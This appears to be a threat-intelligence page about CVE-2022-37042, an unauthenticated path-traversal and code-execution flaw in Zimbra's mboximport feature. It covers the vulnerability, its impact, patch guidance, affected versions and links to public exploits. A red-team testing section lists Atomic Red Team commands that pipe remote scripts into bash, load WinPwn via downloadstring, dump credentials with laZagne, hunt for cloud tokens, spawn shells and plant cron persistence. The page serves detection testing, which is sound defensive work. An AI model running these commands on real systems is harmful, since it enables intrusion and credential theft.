CVE-2022-37042
Overview
This vulnerability is an authentication bypass combined with directory traversal in the mboximport functionality of Zimbra Collaboration Suite versions 8.8.15 and 9.0. The root cause lies in improper validation of ZIP archive contents during extraction, allowing arbitrary file uploads without requiring an authentication token. The affected component is the mboximport feature responsible for importing mailbox data via ZIP archives.
Vulnerability Description
Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.
Impact
An unauthenticated attacker can upload arbitrary files to the Zimbra server, exploiting directory traversal to overwrite critical files and execute arbitrary code remotely. This can lead to full compromise of the email system, exposing sensitive communications and credentials. No user interaction or valid credentials are required, enabling mass exploitation and persistent system control by adversaries.
Solution
Apply the patches provided by Synacor for Zimbra Collaboration Suite versions 8.8.15 and 9.0 as detailed in the Zimbra Security Advisories available at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories. Follow the vendor's recommended update procedures to replace affected components and mitigate the incomplete fix. Refer to the official Security Center at https://wiki.zimbra.com/wiki/Security_Center for detailed patch instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zimbra Collaboration Suite arises from a flaw in the mboximport functionality, which allows the system to receive and extract files from ZIP archives. This process is intended to facilitate the importation of mailbox data, but it is critically undermined by a lack of proper authentication checks. Specifically, an attacker can bypass the requirement for an authentication token, enabling them to upload arbitrary files to the server. This flaw can lead to directory traversal attacks, where an attacker can manipulate file paths to access sensitive directories and files outside the intended scope. Ultimately, this vulnerability can result in remote code execution, allowing an attacker to execute malicious code on the server, potentially leading to full system compromise.
Attack vectors for exploiting this vulnerability are particularly concerning due to their simplicity and the low barrier to entry for potential attackers. An adversary could craft a malicious ZIP file containing payloads designed to exploit the directory traversal flaw. By sending this ZIP file to the vulnerable mboximport endpoint without authentication, the attacker can upload the file to a location on the server where it can be executed. This exploitation could be conducted remotely, making it accessible to a wide range of threat actors, including those with minimal technical expertise. The ability to execute arbitrary code on a server can lead to further attacks, such as data exfiltration, service disruption, or lateral movement within an organization’s network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Zimbra Collaboration Suite for email and collaboration services. The potential for remote code execution poses a severe business risk, as it could lead to unauthorized access to sensitive information, including emails, attachments, and user credentials. Furthermore, the exploitation of this vulnerability could result in reputational damage, loss of customer trust, and potential legal ramifications if sensitive data is compromised. Organizations may also face operational disruptions as they respond to the incident, investigate the breach, and implement remediation measures.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the Zimbra Collaboration Suite and other critical systems. Additionally, monitoring for unusual activity related to the mboximport functionality, such as unauthorized file uploads or access attempts, can aid in early detection of exploitation attempts. Organizations should also ensure that they are running the latest versions of the software, as updates often include patches for known vulnerabilities. Implementing strict access controls and authentication mechanisms can further reduce the risk of unauthorized access to sensitive functionalities.
In conclusion, the vulnerability in the Zimbra Collaboration Suite represents a serious threat to organizations that utilize this software for their collaboration needs. The combination of authentication bypass, directory traversal, and remote code execution creates a potent attack vector that can be exploited by malicious actors. Organizations must prioritize the detection and mitigation of this vulnerability to safeguard their systems and protect sensitive data. By adopting proactive security measures and maintaining awareness of emerging threats, businesses can better defend against the risks associated with this and similar vulnerabilities.
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2022-37042, indicating persistent adversary interest despite prior disclosures and mitigations. Our telemetry shows a modest uptick in activity consistent with automated scanning and exploitation campaigns leveraging publicly available proof-of-concept tools and Metasploit modules. This continued activity underscores the vulnerability’s attractiveness for threat actors seeking remote code execution on Zimbra Collaboration Suite instances without authentication. While the Exploit Prediction Scoring System (EPSS) remains stable, the incremental rise in exploitation attempts suggests that threat actors maintain operational focus on this vector, particularly given its known use in ransomware operations. Defenders should interpret this as a signal that the vulnerability remains actively targeted in the wild, reinforcing the criticality of timely patching and monitoring. The threat level remains high due to the vulnerability’s ease of exploitation and the potential for significant impact through unauthorized system access and code execution.
Affected Products (61)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)
exploits/linux/http/zimbra_mboximport_cve_2022_27925
|
Volexity Threat Research, Yang_99's Nest, Ron Bowes | Unknown | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
0xf4n9x/CVE-2022-37042
CVE-2022-37042 Zimbra Auth Bypass leads to RCE
|
0xf4n9x | 29 | 6 | 2022-10-24 | View |
|
aels/CVE-2022-37042
Zimbra CVE-2022-37042 Nuclei weaponized template
|
aels | 18 | 11 | 2022-08-25 | View |
|
GreyNoise-Intelligence/Zimbra_CVE-2022-37042-_CVE-2022-27925
|
GreyNoise-Intelligence | 7 | 6 | 2022-08-18 | View |
Threat Feed
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Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-37042 |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Security_Center |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/168146/Zimbra-Zip-Path-Traversal.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-37042 |